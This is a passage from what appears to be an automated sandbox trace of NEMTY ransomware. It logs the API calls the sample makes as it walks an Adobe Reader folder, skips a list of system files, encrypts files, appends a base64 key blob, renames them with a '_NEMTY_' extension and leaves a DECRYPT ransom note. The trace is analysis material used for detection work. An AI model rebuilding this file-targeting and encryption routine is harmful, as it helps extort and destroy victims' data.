(lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0179.718] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0179.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0179.718] Sleep (dwMilliseconds=0x5) [0179.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1ec58610, dwHighDateTime=0x1d561e8)) [0179.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1ec58610, dwHighDateTime=0x1d561e8)) [0179.725] GetLastError () returned 0x0 [0179.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.725] GetLastError () returned 0x0 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.726] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0179.726] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0179.726] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0179.726] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="Sv0fSFcDm8mexDGkAlm5cxZU6vmRf3YVGPqlSrjpk86oYifTz9LtTOBP+eicX5Hg\r\nfuxF/1mMJckSFKaOam/IZQhiH/+UDhu6DW6ue0WL2TxBzTEaQgV35jSBVcDPyVKg\r\n46LrxquUZi+iT1bCN98K1wHZoCEaMxjvZlWberSv+Zc3eE+/L7OFioSD/5iJZQgK\r\nfqpxOEz2LeS9W4v4g3PpJooZrzBqEYR12bAxPjpytPZyCSWOFegkRfLnOGbpeFgd\r\n6dZl3YPGZAh1xxV7K1pZjBg9fTaoIW6rpMV6fYc6kiLdrm6zKG7hsBkqevZzWjP9\r\nuShwWTXTnQzXgcYcUk9euQ==\r\n", pcchString=0x653e29c) returned 1 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0179.726] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=228) returned 1 [0179.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0179.726] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.727] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0179.727] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.727] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0179.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.728] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe4 [0179.728] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0179.728] CloseHandle (hObject=0x2f0) returned 1 [0179.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0179.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0179.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0179.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0179.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.728] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.729] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec0c350, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ec0c350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ec0c350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0179.729] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0179.729] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0179.729] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0179.729] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0179.729] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0179.730] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0179.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0179.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0179.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0179.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.731] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec0c350, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ec0c350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ec0c350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0179.731] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.731] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2=".") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="..") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="...") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="windows") returned -1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="rsa") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="NTDETECT.COM") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="ntldr") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="MSDOS.SYS") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="IO.SYS") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="boot.ini") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="boot.ini") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="ntuser.dat") returned 1 [0179.731] lstrcmpiW (lpString1="Spelling.KOR", lpString2="desktop.ini") returned 1 [0179.732] lstrcmpiW (lpString1="Spelling.KOR", lpString2="CONFIG.SYS") returned 1 [0179.732] lstrcmpiW (lpString1="Spelling.KOR", lpString2="RECYCLER") returned 1 [0179.732] lstrcmpiW (lpString1="Spelling.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.732] lstrcmpiW (lpString1="Spelling.KOR", lpString2="bootmgr") returned 1 [0179.732] lstrcmpiW (lpString1="Spelling.KOR", lpString2="programdata") returned 1 [0179.732] lstrcmpiW (lpString1="Spelling.KOR", lpString2="appdata") returned 1 [0179.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.KOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.732] RtlAllocateHeap 